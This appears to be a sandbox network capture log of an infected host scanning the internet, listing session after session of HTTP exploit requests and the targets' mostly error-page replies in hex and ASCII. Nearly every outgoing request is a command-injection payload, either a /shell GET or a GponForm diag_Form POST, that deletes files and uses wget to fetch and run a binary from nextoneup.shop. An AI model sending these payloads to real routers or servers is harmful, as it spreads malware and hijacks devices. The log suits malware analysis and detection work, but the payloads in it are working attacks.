Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:03.864233971 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.202528954 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:11 GMT Server: Apache/2.4.52 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Debian) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1419	192.168.2.13	55878	37.235.240.159	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:03.888458967 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.251260996 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx/1.4.6 (Ubuntu) Date: Sun, 14 Apr 2024 02:01:04 GMT Content-Type: text/html Content-Length: 1806 Connection: keep-alive ETag: "54cb7061-70e" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 20 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 34 34 34 34 34 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 45 45 45 45 45 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 54 72 65 62 75 63 68 65 74 20 4d 53 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 38 30 25 3b 0a 20 20 20 20 7d 0a 20 20 20 20 68 31 20 7b 7d 0a 20 20 20 20 68 32 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 32 65 6d 3b 20 7d 0a 20 20 20 20 23 70 61 67 65 7b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 36 30 25 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 32 34 70 78 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 32 70 78 3b 0a 20 20 20 20 7d 0a 20 20 20 20 23 68 65 61 64 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 70 78 20 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2e 73 74 61 74 75 73 33 78 78 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 37 35 30 37 36 3b 20 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 2e 73 74 61 74 75 73 34 78 78 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 43 35 35 30 34 32 3b 20 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 2e 73 74 61 74 75 73 35 78 78 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 32 45 38 31 41 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 7d 0a 20 20 20 20 23 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 34 70 78 20 30 20 32 34 70 78 20 30 3b 0a 20 20 20 20 7d 0a 20 20 20 20 23 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 36 36 36 36 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 39 66 39 66 39 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <title>ERROR 404 - Not Found!</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="robots" content="noindex" /> <style type="text/css">... body { color: #444444; background-color: #EEEEEE; font-family: 'Trebuchet MS', sans-serif; font-size: 80%; } h1 {} h2 { font-size: 1.2em; } #page{ background-color: #FFFFFF; width: 60%; margin: 24px auto; padding: 12px; } #header { padding: 6px ; text-align: center; } .status3xx { background-color: #475076; color: #FFFFFF; } .status4xx { background-color: #C55042; color: #FFFFFF; } .status5xx { background-color: #F2E81A; color: #000000; } #content { padding: 4px 0 24px 0; } #footer { color: #666666; background: #f9f9f9; padd
Apr 14, 2024 04:01:04.251279116 CEST	727	IN	Data Raw: 69 6e 67 3a 20 31 30 70 78 20 32 30 70 78 3b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 35 70 78 20 23 65 66 65 66 65 66 20 73 6f 6c 69 64 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 38 65 6d 3b 0a 20 Data Ascii: ing: 10px 20px; border-top: 5px #efefef solid; font-size: 0.8em; text-align: center; } #footer a { color: #999999; } --></style></head><body> <div id="page"> <div id="header" class=

Session ID	Source IP	Source Port	Destination IP	Destination Port
1420	192.168.2.13	54860	23.9.126.72	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:03.916708946 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.308737993 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:04 GMT Date: Sun, 14 Apr 2024 02:01:04 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 32 37 63 34 31 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 34 26 23 34 36 3b 31 31 35 65 36 32 66 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 32 37 63 34 31 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 34 26 23 34 36 3b 31 31 35 65 36 32 66 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.427c4117.1713060064.115e62f7<P>https://errors.edgesuite.net/9.427c4117.1713060064.115e62f7</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1421	192.168.2.13	33956	137.175.8.6	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:04.313894033 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.496100903 CEST	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.2 Date: Sun, 14 Apr 2024 02:01:04 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1422	192.168.2.13	37232	35.162.207.131	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:04.329417944 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1423	192.168.2.13	58350	23.92.6.113	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:04.416157961 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:05.608246088 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:07.016211987 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:09.992211103 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.624267101 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:26.888190985 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:50.696149111 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1424	192.168.2.13	58066	54.235.16.88	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:04.420999050 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.653822899 CEST	416	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:04 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://app.pebblerei.com:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1425	192.168.2.13	45884	218.161.62.21	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:04.547302008 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.855279922 CEST	150	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1426	192.168.2.13	56008	167.172.166.210	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:04.619478941 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.936203957 CEST	600	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sun, 14 Apr 2024 02:01:04 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Vary: Accept-Encoding X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Referrer-Policy: no-referrer-when-downgrade Content-Security-Policy: default-src 'self' http: https: ws: wss: data: blob: 'unsafe-inline'; frame-ancestors 'self'; Permissions-Policy: interest-cohort=() Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1427	192.168.2.13	55396	42.170.104.78	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097425938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1428	192.168.2.13	45206	118.178.224.202	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097446918 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1429	192.168.2.13	38380	117.221.233.180	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097477913 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1430	192.168.2.13	39712	2.152.246.77	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097477913 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1431	192.168.2.13	46124	2.134.15.187	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097515106 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1432	192.168.2.13	45010	118.104.187.76	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097542048 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1433	192.168.2.13	38760	109.218.135.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.097542048 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1434	192.168.2.13	52672	2.246.244.110	443

Timestamp	Bytes transferred	Direction	Data
